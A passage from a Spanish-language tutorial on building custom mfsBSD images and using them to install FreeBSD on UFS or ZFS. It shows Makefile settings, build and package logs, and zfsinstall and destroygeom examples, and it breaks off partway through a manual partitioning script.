# Sometimes the kernel is compiled with a different destination.
KERNDIR?= kernel
#
XZ_FLAGS?=
#

.if defined(V)
_v=
VERB=1
.else
_v=@
VERB=
.endif

.if !defined(ARCH)
TARGET!= ${SYSCTL} -n hw.machine_arch
.else
TARGET= ${ARCH}
.endif

.if !defined(RELEASE)
RELEASE!= ${UNAME} -r
.endif

.if !defined(PKG_ABI)
PKG_ABI!= echo "FreeBSD:`${UNAME} -U | ${CUT} -c 1-2`:`${UNAME} -m`"
.endif

.if !defined(SE)
IMAGE_PREFIX?= mfsbsd
.else
IMAGE_PREFIX?= mfsbsd-se
.endif

IMAGE?= ${IMAGE_PREFIX}-${RELEASE}-${TARGET}.img
ISOIMAGE?= ${IMAGE_PREFIX}-${RELEASE}-${TARGET}.iso
TARFILE?= ${IMAGE_PREFIX}-${RELEASE}-${TARGET}.tar
GCEFILE?= ${IMAGE_PREFIX}-${RELEASE}-${TARGET}.tar.gz
_DISTDIR= ${WRKDIR}/dist/${RELEASE}-${TARGET}

.if !defined(DEBUG)
EXCLUDE= --exclude *.symbols
.else
EXCLUDE=
.endif

# Roothack stuff
.if !defined(NO_ROOTHACK)
. if defined(ROOTHACK_FILE) && exists(${ROOTHACK_FILE})
ROOTHACK_PREBUILT=1
. else
ROOTHACK_FILE= ${WRKDIR}/roothack/roothack
. endif
.endif

# Check if we are installing FreeBSD 9 or higher
.if exists(${BASE}/base.txz) && exists(${BASE}/kernel.txz)
FREEBSD9?= yes
BASEFILE?= ${BASE}/base.txz
KERNELFILE?= ${BASE}/kernel.txz
.else
BASEFILE?= ${BASE}/base/base.??
KERNELFILE?= ${BASE}/kernels/generic.??
.endif

.if defined(MAKEJOBS)
_MAKEJOBS= -j${MAKEJOBS}
.endif

_ROOTDIR= ${WRKDIR}/mfs
_BOOTDIR= ${_ROOTDIR}/boot
.if !defined(NO_ROOTHACK)
_DESTDIR= ${_ROOTDIR}/rw
MFSROOT_FREE_INODES?=1%
MFSROOT_FREE_BLOCKS?=1%
.else
_DESTDIR= ${_ROOTDIR}
.endif

.if !defined(SE)
# Environment for custom build
BUILDENV?= env \
NO_FSCHG=1 \
WITHOUT_CLANG=1 \
WITHOUT_DICT=1 \
WITHOUT_GAMES=1 \
WITHOUT_LIB32=1

# Environment for custom install
INSTALLENV?= ${BUILDENV} \
WITHOUT_TOOLCHAIN=1
.endif

# Environment for custom scripts
CUSTOMSCRIPTENV?= env \
WRKDIR=${WRKDIR} \
DESTDIR=${_DESTDIR} \
DISTDIR=${_DISTDIR} \
BASE=${BASE}

.if defined(FULLDIST)
NO_PRUNE=1
WITH_RESCUE=1
.endif


La salida del comando make construyendo una imagen, edición especial, en el formato .IMG, y los paquetes que incluimos anteriormente, sería la siguiente:

Código: text
Extracting base and kernel ... done
Copying base.txz and kernel.txz ... done
Removing selected files from distribution ... done
Copying out cdboot and EFI loader ... done
Installing configuration scripts and files ... done
Generating SSH host keys ... done
Copying user files ...
customfiles/ -> /usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/mfs/rw
customfiles/etc -> /usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/mfs/rw/etc
customfiles/etc/profile -> /usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/mfs/rw/etc/profile
done
Configuring boot environment ...x ./
x ./linker.hints
x ./kernel
done
Creating EFI boot image ...Creating `/usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/cdboot/efiboot.img'
/usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/cdboot/efiboot.img: 4039 sectors in 4039 FAT12 clusters (512 bytes/cluster)
BytesPerSec=512 SecPerClust=1 ResSectors=1 FATs=2 RootDirEnts=512 Sectors=4096 Media=0xf0 FATsecs=12 SecPerTrack=63 Heads=255 HiddenSecs=0
Populating `/usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/cdboot/efiboot.img'
Image `/usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/work/cdboot/efiboot.img' complete
done
Installing pkgng ... done
Installing user packages ...
Updating FreeBSD repository catalogue...
Fetching meta.conf: 100%    163 B   0.2kB/s    00:01
Fetching packagesite.pkg: 100%    6 MiB 146.6kB/s    00:46
Processing entries: 100%
FreeBSD repository update completed. 31196 packages processed.
All repositories are up to date.
The following 18 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        fusefs-libs3: 3.10.5
        fusefs-sshfs: 3.7.2
        gettext-runtime: 0.21
        glib: 2.70.4_3,2
        indexinfo: 0.3.1
        libffi: 3.3_1
        libiconv: 1.16
        liblz4: 1.9.3,1
        libxml2: 2.9.13_1
        mpdecimal: 2.5.1
        pcre: 8.45_1
        python38: 3.8.13
        readline: 8.1.2
        rsync: 3.2.3_1
        screen: 4.9.0_4
        smartmontools: 7.3
        xxhash: 0.8.1
        zstd: 1.5.2

Number of packages to be installed: 18

The process will require 185 MiB more space.
33 MiB to be downloaded.
[1/18] Fetching screen-4.9.0_4.pkg: 100%  496 KiB 169.4kB/s    00:03
[2/18] Fetching fusefs-sshfs-3.7.2.pkg: 100%   40 KiB  40.9kB/s    00:01
[3/18] Fetching smartmontools-7.3.pkg: 100%  505 KiB 258.6kB/s    00:02
[4/18] Fetching rsync-3.2.3_1.pkg: 100%  355 KiB 181.6kB/s    00:02
[5/18] Fetching indexinfo-0.3.1.pkg: 100%    6 KiB   5.7kB/s    00:01
[6/18] Fetching fusefs-libs3-3.10.5.pkg: 100%   95 KiB  97.3kB/s    00:01
[7/18] Fetching glib-2.70.4_3,2.pkg: 100%    3 MiB 261.7kB/s    00:13
[8/18] Fetching libxml2-2.9.13_1.pkg: 100%    1 MiB 237.0kB/s    00:06
[9/18] Fetching readline-8.1.2.pkg: 100%  361 KiB 184.6kB/s    00:02
[10/18] Fetching python38-3.8.13.pkg: 100%   23 MiB 187.7kB/s    02:11
[11/18] Fetching mpdecimal-2.5.1.pkg: 100%  322 KiB 164.7kB/s    00:02
[12/18] Fetching libffi-3.3_1.pkg: 100%   39 KiB  40.1kB/s    00:01
[13/18] Fetching gettext-runtime-0.21.pkg: 100%  166 KiB 169.8kB/s    00:01
[14/18] Fetching pcre-8.45_1.pkg: 100%    1 MiB 313.1kB/s    00:04
[15/18] Fetching libiconv-1.16.pkg: 100%  606 KiB 310.5kB/s    00:02
[16/18] Fetching xxhash-0.8.1.pkg: 100%   80 KiB  82.3kB/s    00:01
[17/18] Fetching zstd-1.5.2.pkg: 100%  471 KiB 241.0kB/s    00:02
[18/18] Fetching liblz4-1.9.3,1.pkg: 100%  131 KiB 134.5kB/s    00:01
Checking integrity... done (0 conflicting)
[1/18] Installing indexinfo-0.3.1...
[1/18] Extracting indexinfo-0.3.1: 100%
[2/18] Installing readline-8.1.2...
[2/18] Extracting readline-8.1.2: 100%
[3/18] Installing mpdecimal-2.5.1...
[3/18] Extracting mpdecimal-2.5.1: 100%
[4/18] Installing libffi-3.3_1...
[4/18] Extracting libffi-3.3_1: 100%
[5/18] Installing gettext-runtime-0.21...
[5/18] Extracting gettext-runtime-0.21: 100%
[6/18] Installing libxml2-2.9.13_1...
[6/18] Extracting libxml2-2.9.13_1: 100%
[7/18] Installing python38-3.8.13...
[7/18] Extracting python38-3.8.13: 100%
[8/18] Installing pcre-8.45_1...
[8/18] Extracting pcre-8.45_1: 100%
[9/18] Installing libiconv-1.16...
[9/18] Extracting libiconv-1.16: 100%
[10/18] Installing liblz4-1.9.3,1...
[10/18] Extracting liblz4-1.9.3,1: 100%
[11/18] Installing fusefs-libs3-3.10.5...
[11/18] Extracting fusefs-libs3-3.10.5: 100%
[12/18] Installing glib-2.70.4_3,2...
[12/18] Extracting glib-2.70.4_3,2: 100%
[13/18] Installing xxhash-0.8.1...
[13/18] Extracting xxhash-0.8.1: 100%
[14/18] Installing zstd-1.5.2...
[14/18] Extracting zstd-1.5.2: 100%
[15/18] Installing screen-4.9.0_4...
[15/18] Extracting screen-4.9.0_4: 100%
[16/18] Installing fusefs-sshfs-3.7.2...
[16/18] Extracting fusefs-sshfs-3.7.2: 100%
[17/18] Installing smartmontools-7.3...
[17/18] Extracting smartmontools-7.3: 100%
[18/18] Installing rsync-3.2.3_1...
[18/18] Extracting rsync-3.2.3_1: 100%
=====
Message from python38-3.8.13:

--
Note that some standard Python modules are provided as separate ports
as they require additional dependencies. They are available as:

py38-gdbm       databases/py-gdbm@py38
py38-sqlite3    databases/py-sqlite3@py38
py38-tkinter    x11-toolkits/py-tkinter@py38
=====
Message from fusefs-libs3-3.10.5:

--
Install the FUSE kernel module (kldload fusefs) to use this port.
=====
Message from screen-4.9.0_4:

--
As of GNU Screen 4.4.0:

Note that there was fix to screen message structure field
responsible for $TERM handling, making it impossible
to attach to older versions.
=====
Message from fusefs-sshfs-3.7.2:

--
Basic Instructions:
There are three ways to do this:

1)
% sshfs -o idmap=user [email protected]: /path/to/mount/point

or

2)
% mount_fusefs auto /path/to/mount/point sshfs -o idmap=user \
       [email protected]:

or

3)
% env FUSE_DEV_NAME=/dev/fuse0 sshfs -o idmap=user \
       [email protected]:
% mount_fusefs /dev/fuse0 /path/to/mount/point

For further options see ``sshfs -h''.
=====
Message from smartmontools-7.3:

--
smartmontools has been installed

To check the status of drives, use the following:

        /usr/local/sbin/smartctl -a /dev/ad0    for first ATA/SATA drive
        /usr/local/sbin/smartctl -a /dev/da0    for first SCSI drive
        /usr/local/sbin/smartctl -a /dev/ada0   for first SATA drive

To include drive health information in your daily status reports,
add a line like the following to /etc/periodic.conf:
        daily_status_smart_devices="/dev/ad0 /dev/da0"
substituting the appropriate device names for your SMART-capable disks.

To enable drive monitoring, you can use /usr/local/sbin/smartd.
A sample configuration file has been installed as
/usr/local/etc/smartd.conf.sample
Copy this file to /usr/local/etc/smartd.conf and edit appropriately

To have smartd start at boot
        echo 'smartd_enable="YES"' >> /etc/rc.conf
  --- %           0.0 MiB / 0.6 MiB = 0.000                   0:02


La salida final sería la siguiente -excluyendo lo anteriormente visto:

Código: text
 100 %        93.6 MiB / 485.9 MiB = 0.193   477 KiB/s      17:24
done
echo roothack.full: /usr/lib/libc.a  >> .depend
cc  -O2 -pipe   -g -MD  -MF.depend.roothack.o -MTroothack.o -std=gnu99 -Wno-format-zero-length -nobuiltininc -idirafter /usr/lib/clang/11.0.1/include -fstack-protector-strong -Wsystem-headers -Werror -Wall -Wno-format-y2k -W -Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Wreturn-type -Wcast-qual -Wwrite-strings -Wswitch -Wshadow -Wunused-parameter -Wcast-align -Wchar-subscripts -Winline -Wnested-externs -Wredundant-decls -Wold-style-definition -Wno-pointer-sign -Wmissing-variable-declarations -Wthread-safety -Wno-empty-body -Wno-string-plus-int -Wno-unused-const-variable  -Qunused-arguments    -c /usr/home/dtxdf-fbsd/Downloads/Clones/Github/mfsbsd-work/tools/roothack/roothack.c -o roothack.o
cc -O2 -pipe -g -std=gnu99 -Wno-format-zero-length -nobuiltininc -idirafter /usr/lib/clang/11.0.1/include -fstack-protector-strong -Wsystem-headers -Werror -Wall -Wno-format-y2k -W -Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Wreturn-type -Wcast-qual -Wwrite-strings -Wswitch -Wshadow -Wunused-parameter -Wcast-align -Wchar-subscripts -Winline -Wnested-externs -Wredundant-decls -Wold-style-definition -Wno-pointer-sign -Wmissing-variable-declarations -Wthread-safety -Wno-empty-body -Wno-string-plus-int -Wno-unused-const-variable -Qunused-arguments  -static   -o roothack.full roothack.o  -larchive -lbz2 -lz -llzma -lcrypto -lbsdxml -lmd -lprivatezstd
objcopy --only-keep-debug roothack.full roothack.debug
objcopy --strip-debug --add-gnu-debuglink=roothack.debug  roothack.full roothack
Installing roothack ... done
Creating and compressing mfsroot ... done
Copying FreeBSD installation image ... done
Creating image file ...423968+0 records in
423968+0 records out
434143232 bytes transferred in 8.400635 secs (51679810 bytes/sec)
423936+0 records in
423936+0 records out
434110464 bytes transferred in 8.056553 secs (53882906 bytes/sec)
md0 created
md0p1 added
partcode written to md0p1
bootcode written to md0
md0p2 added
16+0 records in
16+0 records out
2097152 bytes transferred in 0.135044 secs (15529442 bytes/sec)
md0p3 added
Calculated size of `./mfsbsd-se-13.0-RELEASE-p11-amd64.img.jkCqJ9Vx': 390168576 bytes, 44 inodes
Extent size set to 32768
./mfsbsd-se-13.0-RELEASE-p11-amd64.img.jkCqJ9Vx: 372.1MB (762048 sectors) block size 32768, fragment size 4096
        using 1 cylinder groups of 372.09MB, 11907 blks, 256 inodes.
super-block backups (for fsck -b #) at:
64,
Populating `./mfsbsd-se-13.0-RELEASE-p11-amd64.img.jkCqJ9Vx'
Image `./mfsbsd-se-13.0-RELEASE-p11-amd64.img.jkCqJ9Vx' complete
2976+1 records in
2976+1 records out
390168576 bytes transferred in 23.367620 secs (16696975 bytes/sec)


done
-rw-r--r--  1 root  dtxdf-fbsd  434143232 Jun 29 15:15 mfsbsd-se-13.0-RELEASE-p11-amd64.img


Ahora solo se necesita grabar esa imagen a nuestra llave USB como se especificó en anteriores secciones.

Instalación de FreeBSD usando mfsBSD:

Hay tres o cuatro formas en los que podríamos instalar FreeBSD usando mfsBSD. La primera es ejecutando bsdinstall(8) dentro de nuestro host con mfsBSD, que esa sería la forma más sencilla y la más conocida. La segunda es usar destroygeom y zfsinstall para instalar de forma automatizada un entorno con ZFS. La tercera es cuando queremos usar UFS o ZFS pero necesitamos personalizar nuestra instalación al máximo, pero esta es la más complicada si se desconoce el proceso de instalación de FreeBSD. La cuarta, es simplemente cualquier cosa que nuestra imaginación nos limite.

Preparación:

Dependiendo de la opción que hayamos elegidos, ya sea la edición normal o la edición especial, el procedimiento de preparación será sutilmente diferente.


Sin archivos de distribución:

En anteriores secciones mostramos cómo descargar los archivos de distribución, pero eso es útil solo si se descargarán a través del directorio web o FTP público. Nosotros también podemos montar nuestro propio servidor web o FTP. Para el caso de seleccionar la primera opción, se tiene una variedad de opciones, desde Apache, hasta NGINX, desde lighttpd hasta obhttpd (el servidor web de OpenBSD), o puedes decantarte, por el momento, con el servidor web integrado de Python mientras reflexionas mejor tus elecciones. Si se elegirá un servidor FTP, FreeBSD ya incluye uno, incluso un servidor TFTP. No obstante, las elecciones son parte de la libertad, por lo que hasta es posible descargar los archivos a través de SSH (usando SCP o SFTP).

Con archivos de distribución:

Si se eligió la edición especial, no es necesario hacer más nada, ya que los archivos vienen incluidos en la misma imagen. El único paso adicional que haría falta sería montar la partición de datos de mfsBSD, que se puede realizar de la siguiente manera:

Código: bash
mkdir /media/wrk
mkdir /media/tmp
mount /dev/da4p3 /media/wrk


Se debe elegir el dispositivo correcto, en mi caso es el dispositivo da4 con su partición número 3. La razón por la que creo dos directorios se entienden mejor más adalente, pero en suma, simplemente es el directorio de trabajo, que es donde tenemos los datos, y el otro es el directorio que usará zfsinstall como veremos más adelante.

bsdinstall: haciendo las cosas al modo tradicional:

La principal razón de utilizar mfsBSD es la personalización y las ventajas que nos coloca encima de la mesa para la automatización, pero resulta que solo queremos sacar ventajas es de su imagen reducida en comparación con la imagen oficial de FreeBSD, por lo que no es necesario que nos compliquemos más de lo necesario.


Código: bash
env BSDINSTALL_DISTDIR=/media/wrk/13.0-RELEASE-p11-amd64 bsdinstall auto


Un solo comando es lo único que se necesita para configurar e instalar FreeBSD, ya que bsdinstall(8) hace esto por nosotros. La variable BSDINSTALL_DISTDIR que está ajustada en /usr/freebsd-dist por defecto, es necesario cambiarla para indicar la nueva ruta donde están nuestros archivos de distribución.

Ahora solo sigue la instalación como lo harías normalmente.


zfsinstall: automatizando el progreso:

zfsinstall es un script que viene incluido en el conjunto de scripts de mfsBSD. Este se puede leer desde la ruta /root/bin, cuando la imagen está corriendo, aunque es posible ejecutarlo sin necesidad de especificar su ruta absoluta.


Código: bash
# zfsinstall -h

Install FreeBSD using ZFS from a compressed archive

Required flags:
-d geom_provider  : geom provider(s) to install to (e.g. da0)

Optional flags:
-u dist_url       : URL or directory with base.txz and kernel.txz
                    (defaults to FreeBSD FTP mirror)
-r raidz|mirror   : select raid mode if more than one -d provider given
-s swap_part_size : create a swap partition with given size (default: no swap)
-z zfs_part_size  : create zfs parition of this size (default: all space left)
-p pool_name      : specify a name for the ZFS pool (default: tank)
-C                : compatibility mode with limited feature flags
                    (enable only async_destroy, empty_bpobj and lz4_compress)
-m mount_point    : use this mount point for operations (default: /mnt)
-c                : enable compression for all datasets
-l                : use legacy mounts (via fstab) instead of ZFS mounts
-4                : use fletcher4 as default checksum algorithm
-A                : align partitions to 4K blocks

Examples:
Install on a single drive with 2GB swap:
tools/zfsinstall -u /path/to/release -d da0 -s 2G
Install on a mirror without swap, pool name rpool:
tools/zfsinstall -u /path/to/release -d da0 -d da1 -r mirror -p rpool

Notes:
When using swap and raidz/mirror, the swap partition is created on all drives.
The /etc/fstab entry will contatin only the first drive's swap partition.
You can enable all swap partitions and/or make a gmirror-ed swap later.


Su uso es extremadamente sencillo, y se puede apreciar arriba su ayuda y su sintaxis, pero más abajo se ven algunos ejemplos usando dispositivos reales y rutas reales desde mi sistema, aunque antes de proseguir, es necesario saber que existe destroygeom, la contraparte de zfsinstall, ya que este borra todas las particiones y el zpool (si se lo indicamos).

destroygeom: borrando todas las particiones de todos nuestros proveedores GEOM
Código: bash
# destroygeom -d da0 -d da1 -d da2 -d da3
Destroying geom da0:
    Deleting partition 1 ... done
    Deleting partition 2 ... done
    Deleting partition 3 ... done
Destroying geom da1:
    Deleting partition 1 ... done
    Deleting partition 2 ... done
    Deleting partition 3 ... done
Destroying geom da2:
    Deleting partition 1 ... done
    Deleting partition 2 ... done
    Deleting partition 3 ... done
Destroying geom da3:
    Deleting partition 1 ... done
    Deleting partition 2 ... done
    Deleting partition 3 ... done


zfsinstall: el modo más básico
Código: bash
zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -s 2G -m /media/tmp -cA

salida:
Código: text
# zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -s 2G -m /media/tmp -cA

Creating GUID partitions on da0 ... done
Configuring ZFS bootcode on da0 ... done
=>        40  1172123488  da0  GPT  (559G)
          40         472    1  freebsd-boot  (236K)
         512        3584       - free -  (1.8M)
        4096     4194304    2  freebsd-swap  (2.0G)
     4198400  1167921152    3  freebsd-zfs  (557G)
  1172119552        3976       - free -  (1.9M)

Creating ZFS pool tank on  da0p3 ... done
Enabling default compression on tank ... done
Creating tank root partition: ... done
Creating tank partitions: var tmp ... done
Setting bootfs for tank to tank/root ... done
NAME            USED  AVAIL     REFER  MOUNTPOINT
tank            248K   539G       24K  none
tank/root        73K   539G       25K  /media/tmp
tank/root/tmp    24K   539G       24K  /media/tmp/tmp
tank/root/var    24K   539G       24K  /media/tmp/var
Extracting FreeBSD distribution ... done
Writing /boot/loader.conf... done
Writing /etc/fstab...Writing /etc/rc.conf... done
Copying /boot/zfs/zpool.cache ... done

Installation complete.
The system will boot from ZFS with clean install on next reboot

You may make adjustments to the installed system using chroot:
chroot /media/tmp

Some adjustments may require a mounted devfs:
mount -t devfs devfs /media/tmp/dev

WARNING - Don't export ZFS pool "tank"!


El comando anterior usa (con -u) /media/wrk/13.0-RELEASE-p11-amd64 como el directorio donde se encuentran los archivos de distribución. Usa el proveedor GEOM (con -d) da0. Crea una partición (con -s) de 2G para la memoria de intercambio. Usa (con -m) /media/tmp como punto de montaje temporal donde se encuentran extraidos los archivos kernel.txz y base.txz. Y por último, pero no menos importante, -c habilita la compresión para todos los datasets, y -A alinea las particiones en bloques de 4 KiB.

zfsinstall: mirror entre dos proveedores
Código: bash
zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -d da1 -r mirror -s 2G -m /media/tmp -cA

salida:
Código: text
# zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -d da1 -r mirror -s 2G -m /media/tmp -cA
Creating GUID partitions on da0 ... done
Configuring ZFS bootcode on da0 ... done
=>        40  1172123488  da0  GPT  (559G)
          40         472    1  freebsd-boot  (236K)
         512        3584       - free -  (1.8M)
        4096     4194304    2  freebsd-swap  (2.0G)
     4198400  1167921152    3  freebsd-zfs  (557G)
  1172119552        3976       - free -  (1.9M)

Creating GUID partitions on da1 ... done
Configuring ZFS bootcode on da1 ... done
=>        40  1172123488  da1  GPT  (559G)
          40         472    1  freebsd-boot  (236K)
         512        3584       - free -  (1.8M)
        4096     4194304    2  freebsd-swap  (2.0G)
     4198400  1167921152    3  freebsd-zfs  (557G)
  1172119552        3976       - free -  (1.9M)

Creating ZFS pool tank on  da0p3 da1p3 ... done
Enabling default compression on tank ... done
Creating tank root partition: ... done
Creating tank partitions: var tmp ... done
Setting bootfs for tank to tank/root ... done
NAME            USED  AVAIL     REFER  MOUNTPOINT
tank            252K   539G       24K  none
tank/root        73K   539G       25K  /media/tmp
tank/root/tmp    24K   539G       24K  /media/tmp/tmp
tank/root/var    24K   539G       24K  /media/tmp/var
Extracting FreeBSD distribution ... done
Writing /boot/loader.conf... done
Writing /etc/fstab...Writing /etc/rc.conf... done
Copying /boot/zfs/zpool.cache ... done

Installation complete.
The system will boot from ZFS with clean install on next reboot

You may make adjustments to the installed system using chroot:
chroot /media/tmp

Some adjustments may require a mounted devfs:
mount -t devfs devfs /media/tmp/dev

WARNING - Don't export ZFS pool "tank"!


Este modo es "más complicado" que el anterior. No explicaré las opciones que ya expliqué anteriormente, por lo que me limitaré a decir que hemos agregado un nuevo proveedor (-d da1) y hemos ajustado el tipo del raid a mirror.

zfsinstall 2.0: modernización, lo que necesitaba:

Jueves, 30 de Junio del 2022 - Nota: ya no es necesario clonar la bifurcación del proyecto, los cambios han sido aplicados (ver pull request No tienes permitido ver los links. Registrarse o Entrar a mi cuenta).

zfsinstall es genial, y se lo agradezco a Martin Matuska por su esfuerzo en hacer mfsBSD realidad, junto con todos sus colaboradores, pero si algo realmente necesitaba que zfsinstall tuviera es un poco más de flexibilidad. Si ya conoces un poco de RAID y de ZFS y sus RAIDZ, sabes que él te brinda la posibilidad de concatenar diferentes arreglos, o incluso puedes usar varios proveedores GEOM sin que te importe la redundacia, o en otras palabras, hacer stripping de varios proveedores. Esto es algo que zfsinstall no tiene incluido.

Aunque podría crear un script propio y privado que hiciera eso por mí, ¿por qué no compartirlo a las personas de Internet? Claro que puedo, pero estaría reinventando la rueda, zfsinstall está allí, y mfsBSD es un proyecto que tiene tiempo, así que preferí colaborar con un necesidad, que no solo es mía (ver issue No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). Para poder usarlo, o puedes dirigirte a la bifurcación que hice y que está a la par con mfsBSD (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) y copiar tools/zfsinstall, o puedes simplemente clonarlo.

He aquí la salida de la ayuda de zfsinstall 2.0 (perdonen por el 2.0, en realidad no es 2.0, es simplemente zfsinstall, pero es para que sepan la diferencia):


Código: bash
# zfsinstall -h

Install FreeBSD using ZFS from a compressed archive

Required flags:
-d geom_provider  : geom provider(s) to install to (e.g. da0)

Optional flags:
-r raidz|mirror   : select raid mode if more than one -d provider given
                    (must begin after -d)
-u dist_url       : URL or directory with base.txz and kernel.txz
                    (defaults to FreeBSD FTP mirror)
-s swap_part_size : create a swap partition with given size (default: no swap)
-z zfs_part_size  : create zfs parition of this size (default: all space left)
-p pool_name      : specify a name for the ZFS pool (default: tank)
-C                : compatibility mode with limited feature flags
                    (enable only async_destroy, empty_bpobj and lz4_compress)
-m mount_point    : use this mount point for operations (default: /mnt)
-c                : enable compression for all datasets
-l                : use legacy mounts (via fstab) instead of ZFS mounts
-4                : use fletcher4 as default checksum algorithm
-A                : align partitions to 4K blocks

Examples:
Install on a single drive with 2GB swap:
/root/bin/zfsinstall -u /path/to/release -d da0 -s 2G
Install on four-disk stripe:
/root/bin/zfsinstall -u /path/to/release -d da0 -d da1 -d da2 -d da3
Install on an stripped mirror:
/root/bin/zfsinstall -u /path/to/release -d da0 -d da1 -r mirror -d da2 -d da3 -r mirror
Install on a mirror without swap, pool name rpool:
/root/bin/zfsinstall -u /path/to/release -d da0 -d da1 -r mirror -p rpool

Notes:
When using swap and raidz/mirror, the swap partition is created on all drives.
The /etc/fstab entry will contatin only the first drive's swap partition.
You can enable all swap partitions and/or make a gmirror-ed swap later.


Si somos observadores, notamos que hay cosas nuevas, como que ahora es posible hacer stripping entre varios dispositivos, realizar raidz1, raidz2 y raidz3, que es algo que no se podía anteriormente, y también es posible crear un stripped mirror, algo que constantemente tengo que usar y que probablemente a alguien de Internet le sea de utilidad. A continuación algunos ejemplos con las nuevas opciones.

zfsinstall: stripped mirror entre cuatro proveedores
Código: bash
zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -d da1 -r mirror -d da2 -d da3 -r mirror -s 2G -m /media/tmp -cA

salida:
Código: text
# zfsinstall -u /media/wrk/13.0-RELEASE-p11-amd64 -d da0 -d da1 -r mirror -d da2 -d da3 -r mirror -s 2G -m /media/tmp -cA
Creating GUID partitions on da0 ... done
Configuring ZFS bootcode on da0 ... done
=>        40  1172123488  da0  GPT  (559G)
          40         472    1  freebsd-boot  (236K)
         512        3584       - free -  (1.8M)
        4096     4194304    2  freebsd-swap  (2.0G)
     4198400  1167921152    3  freebsd-zfs  (557G)
  1172119552        3976       - free -  (1.9M)

Creating GUID partitions on da1 ... done
Configuring ZFS bootcode on da1 ... done
=>        40  1172123488  da1  GPT  (559G)
          40         472    1  freebsd-boot  (236K)
         512        3584       - free -  (1.8M)
        4096     4194304    2  freebsd-swap  (2.0G)
     4198400  1167921152    3  freebsd-zfs  (557G)
  1172119552        3976       - free -  (1.9M)

Creating GUID partitions on da2 ... done
Configuring ZFS bootcode on da2 ... done
=>       40  143374576  da2  GPT  (68G)
         40        472    1  freebsd-boot  (236K)
        512       3584       - free -  (1.8M)
       4096    4194304    2  freebsd-swap  (2.0G)
    4198400  139173888    3  freebsd-zfs  (66G)
  143372288       2328       - free -  (1.1M)

Creating GUID partitions on da3 ... done
Configuring ZFS bootcode on da3 ... done
=>       40  143374576  da3  GPT  (68G)
         40        472    1  freebsd-boot  (236K)
        512       3584       - free -  (1.8M)
       4096    4194304    2  freebsd-swap  (2.0G)
    4198400  139173888    3  freebsd-zfs  (66G)
  143372288       2328       - free -  (1.1M)

Creating ZFS pool tank on  da0p3 da1p3 da2p3 da3p3 ... done
Enabling default compression on tank ... done
Creating tank root partition: ... done
Creating tank partitions: var tmp ... done
Setting bootfs for tank to tank/root ... done
NAME            USED  AVAIL     REFER  MOUNTPOINT
tank            253K   603G       24K  none
tank/root        73K   603G       25K  /media/tmp
tank/root/tmp    24K   603G       24K  /media/tmp/tmp
tank/root/var    24K   603G       24K  /media/tmp/var
Extracting FreeBSD distribution ... done
Writing /boot/loader.conf... done
Writing /etc/fstab...Writing /etc/rc.conf... done
Copying /boot/zfs/zpool.cache ... done

Installation complete.
The system will boot from ZFS with clean install on next reboot

You may make adjustments to the installed system using chroot:
chroot /media/tmp

Some adjustments may require a mounted devfs:
mount -t devfs devfs /media/tmp/dev

WARNING - Don't export ZFS pool "tank"!


Lo único requerido por zfsinstall 2.0 es que los proveedores (-d) deben definirse antes que el tipo de raid (-r), ya que el orden importan para getopts.

instalación manual+scripting: porque te gustan las cosas a tu modo:

La instalación manual es de la más rica en aprendizaje y las más complicadas, pero solo cuando somos primerizos y vemos toda la flexibilidad en nuestras manos. FreeBSD (y por lo tanto mfsBSD) nos pone las cosas muy fáciles y un modo de instalación muy sencillo de aprender.

No obstante, recomiendo al lector no limitarse solo a copiar los comandos que aquí presento y lo invito a leer las páginas del manual que muchos se esforzaron por crear.


UFS:

La instalación de UFS es sencilla solo cuando queremos mantenerla sencilla. Usar gmirror y gstripe en conjunto es algo que se escapa de este artículo dedicado a mfsBSD, pero que sin duda, con un poco de esfuerzo, es posible lograr.

Lo ideal no sería solo ejecutar comandos, para particionar, descomprimir los archivos de distribución, configurar los archivos de FreeBSD que se usará después de la instalación, etc., es sin duda mejor, o más tolerable, escribirlos en un script, que el sistema con mfsBSD lo descargue, ya sea manual, o en otras palabras, conectándonos a través de SSH como le venimos haciendo todo este tiempo, o podemos crear una imagen y le incluimos, ya sea a través de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o un servicio en /etc/rc.d usando el directorio customfiles/ que deberá estar al momento de crear nuestra imagen. (Ver la variable CUSTOMFILESDIR en Makefile.)

Este script o servicio deberá descargar de un servidor específico los archivos de distribución -al menos que hayamos usado la edición especial, y además, deberá descargar el script o al menos que ya venga incluido, para que particione y configure todo lo demás. Para esta sección nos limitaremos a usar la edición especial y descargaremos el script manualmente a través de SSH. El código fuente del script es el que se puede apreciar más abajo.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: bash
#!/bin/sh -x

# Destruimos el esquema de particionado actual y
# creamos uno nuevo, que en este caso es GPT.
gpart destroy -F da0
gpart create -s gpt da0

# Particionamos
gpart add -t freebsd-boot -a 1m -l boot0 -s 512k da0
gpart add -t freebsd-swap -a 1m -l swap0 -s 2g da0
gpart add -t freebsd-ufs -a 1m -l root0 da0

# Incrustamos el código de arranque dentro del esquema
# de los metadatos del esquema de particionado actual
# y escribimos escribimos el código de arranque en
# la partición de booteo.
gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 da0

# Formateamos la partición UFS y activamos journaling
newfs -j /dev/gpt/root0

# Montamos la partición donde se encuentran los archivos
# de distribución y montamos la partición root del disco
# donde instalaremos FreeBSD.
mkdir /media/wrk
fsck -p /dev/gpt/rootfs
mount /dev/gpt/rootfs /media/wrk
mount /dev/gpt/root0 /mnt

